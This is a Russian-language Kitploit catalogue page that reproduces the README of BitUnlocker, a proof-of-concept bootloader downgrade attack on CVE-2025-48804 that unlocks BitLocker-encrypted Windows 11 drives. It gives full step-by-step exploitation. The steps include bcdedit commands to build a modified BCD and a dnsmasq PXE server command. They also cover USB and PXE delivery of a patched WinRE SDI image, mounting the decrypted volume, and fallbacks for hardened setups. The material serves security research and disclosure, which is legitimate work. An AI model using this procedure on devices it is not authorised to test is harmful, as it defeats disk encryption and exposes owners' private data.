Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
BitUnlocker — Атака понижения версии для CVE-2025-48804 | Kitploit
Инструменты/GitHubGitHub/garatc/bitunlocker
Анализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеАппаратная БезопасностьRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Атака понижения версии для CVE-2025-48804

Репозиторий
22344191 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

BitUnlocker – атака понижением версии загрузчика

License: MIT

Доказательство концепции для доступа к зашифрованным BitLocker дискам менее чем за 5 минут на полностью обновлённых машинах с Windows 11 с помощью атаки понижением версии загрузчика, использующей уязвимость SDI, первоначально задокументированную как CVE-2025-48804. Июльский патч 2025 года закрывает эту уязвимость в bootmgfw.efi, поэтому любой bootmgfw.efi до установки патча, подписанный под PCA 2011, может быть использован для атаки понижения версии, если целевая система доверяет этому PCA.

Этот PoC предоставляет два метода доставки: загрузка с USB (проще и рекомендуется) и загрузка по PXE. Но теоретически можно просто скопировать загрузочный файл SDI в один из незашифрованных разделов по умолчанию (ESP или Recovery) и не заморачиваться с USB или PXE – см. таблицу «Крайние случаи».

Эта работа полностью основана на исследованиях Microsoft STORM (Netanel Ben Simon и Alon Leviev):

BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets


Необходимые условия

  • Физический доступ к устройству, зашифрованному BitLocker (только TPM, PCR 7 + 11)
  • База данных Secure Boot устройства всё ещё доверяет сертификату Microsoft Windows PCA 2011
  • USB-флешка (рекомендуется) или машина с Linux, dnsmasq и кабель Ethernet для PXE

Пошаговая инструкция

1. Загрузите boot_patched.sdi из раздела Releases (или соберите свой SDI-файл, см. ниже)

Поместите его в USB/sdi/ (для метода USB) или TFTP-root/sdi/ (для метода PXE).

2. Подготовьте изменённый BCD

На целевом устройстве откройте командную строку WinRE (удерживайте Shift при нажатии Перезагрузка, затем Поиск и устранение неисправностей > Командная строка — нажмите «Пропустить этот диск», когда будет запрошен ключ восстановления BitLocker, и нажмите «перезапустить», если появится сообщение о том, что командная строка не может работать на заблокированном устройстве — если командная строка всё равно не открывается, используйте свою собственную WinPE, если можете). Подключите USB-флешку и выполните:

E: (или буква вашей флешки)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

В выводе найдите запись параметров устройства, описание которой — "Windows Recovery" и которая содержит ramdisksdidevice / ramdisksdipath. Запомните её GUID, затем:

bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Поместите полученный файл BCD в соответствующее место в зависимости от вашего метода:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Загрузите целевое устройство

Вариант A: Загрузка с USB (рекомендуется)

Отформатируйте USB-флешку в FAT32 и скопируйте содержимое каталога USB/ в её корень (только содержимое, папки «USB» быть не должно). Флешка должна выглядеть так:

Корень флешки/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Загрузчик до патча (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Ваш изменённый BCD
└── sdi/
    └── boot_patched.sdi        # Пропатченный SDI с кастомной WinRE

Подключите флешку к целевому устройству и инициируйте загрузку с USB через UEFI — либо из WinRE (Использовать устройство), либо нажав клавишу меню загрузки производителя при включении (F12, F9 и т.д.). Если флешка не отображается в списке вариантов загрузки, найдите опцию "Boot from file" в меню загрузки UEFI, затем перейдите к EFI/Boot/bootx64.efi на флешке.

Вариант B: Загрузка по PXE

Каталог TFTP-root/ имеет следующую структуру:

TFTP-root/
├── bootmgfw.efi                # Загрузчик до патча (PCA 2011)
├── Boot/
│   └── BCD                     # Ваш изменённый BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Тот же загрузчик до патча
└── sdi/
    └── boot_patched.sdi        # Пропатченный SDI с кастомной WinRE

Подключите целевое устройство к вашей Linux-машине через Ethernet и запустите PXE-сервер:

cd BitUnlocker
export INTERFACE=<ваш-интерфейс>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Запустите PXE-загрузку на целевом устройстве — в WinRE выберите Использовать устройство > IPv4 Network, или нажмите клавишу PXE-загрузки производителя.

4. Дождитесь передачи SDI

Загрузчик загрузит BCD, а затем начнёт скачивание boot_patched.sdi. SDI-файл большой (~300 МБ), поэтому с USB это занимает некоторое время, а по TFTP — несколько минут. На экране целевого устройства должно появиться сообщение, связанное с восстановлением, с путём к SDI, пока он загружается.

5. Профит

После завершения передачи должна появиться командная строка с расшифрованным и смонтированным томом ОС (обычно C: или E:). Если он не смонтировался автоматически или вы не хотите угадывать букву, просто выполните diskpart -> sel vol X (тот, который похож на ваш зашифрованный диск) -> assign letter=C (или другую букву) -> exit -> профит

Крайние случаи

СитуацияЧто происходит
BitLocker настроен с PIN-кодом, который вы знаетеСиний экран при загрузке — введите PIN-код вслепую (извините, я не заморачивался со шрифтами BitLocker в этом репозитории) и нажмите Enter
Синий экран, PIN-кода нетЦелевое устройство, вероятно, перешло на CA 2023 — нажмите Escape и дайте передаче SDI завершиться, но зашифрованный диск BitLocker, скорее всего, останется заблокированным
Только USB-C / ThunderboltИспользуйте USB-C-накопитель или адаптер USB-Ethernet (для PXE)
Файл TFTP не найден (кроме мусорных файлов шрифтов, которые нам не нужны)Имена файлов чувствительны к регистру — переименуйте bootmgfw.efi в соответствии с запросом цели
Загрузка с USB или PXE запрещенаПроверьте доступный размер разделов ESP и Recovery (diskpart -> list vol). Если в одном из разделов достаточно места для предоставленного файла Boot.sdi (около 300 МБ), поместите его туда. Тогда эксплойт будет немного другим (но всё равно таким же быстрым): вам нужно будет напрямую изменить BCD-файл целевой системы (сделайте резервную копию), чтобы он указывал на незашифрованный раздел хоста (в частности, запись ramdisksdidevice в BCD), и заменить bootmgfw.efi целевой системы на тот, что предоставлен в папке TFTP этого репозитория. В этом случае убедитесь, что загрузчик цели подписан PCA 2011 (иначе эксплойт всё равно не сработает, всегда проверяйте это), иначе вы переведёте систему в режим восстановления BitLocker. Также, если места для файла Boot.sdi из этого репозитория недостаточно, можно попробовать создать свою меньшую версию — для этого есть определённые способы (см. раздел «Создайте свой собственный SDI-файл» ниже)

Создайте свой собственный SDI-файл

Я включил два скрипта в scripts/:

  • patch_sdi.py — создаёт модифицированный SDI-файл из boot.sdi и WinRE.wim
  • parse_sdi.py — анализирует SDI-файл для проверки его структуры и содержимого

Файл boot_patched.sdi, предоставленный в Releases, содержит модифицированную WinRE.wim, в которой приложение запуска — cmd.exe.

Случаи, не поддающиеся эксплуатации

Скачать инструмент